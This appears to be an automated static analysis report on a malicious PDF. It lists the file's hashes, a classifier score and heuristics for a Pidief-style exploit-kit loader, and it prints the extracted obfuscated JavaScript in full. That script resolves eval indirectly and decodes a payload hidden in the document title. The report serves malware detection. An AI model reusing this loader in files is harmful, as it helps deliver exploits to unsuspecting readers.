Malicious PDF — malware analysis report

Static analysis result for SHA-256 446cbb9c1f0ddf07…

MALICIOUS

PDF

44.7 KB First seen: 2012-09-15
MD5: 4c2523a8f30a85fbe499d69ca1096ca4 SHA-1: 21ff62ac7f2163e2ff1b09befcca296e21709257 SHA-256: 446cbb9c1f0ddf07fa07f990a1981eb3806a64d459a6ab48594fe23aa9303291
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB021 494 bytes
SHA-256: 96c8a9e539915fa1fc809f0fddc73ba6dfb5e26a33fed931cfb7549fa04534fe
Preview script
First 1,000 lines of the extracted script
yzfig='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = v[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
ohgbi=e('ti'+'tle');
s=ohgbi.substr(t.length + 8,3)+'str';
q=ohgbi[s](1,(1,t.length + 7));
wgq=e(v[0].toUpperCase()+'tring.fro'+q);
q=ohgbi[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	cbef = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	yzfig += wgq(cbef);
}
e(yzfig);

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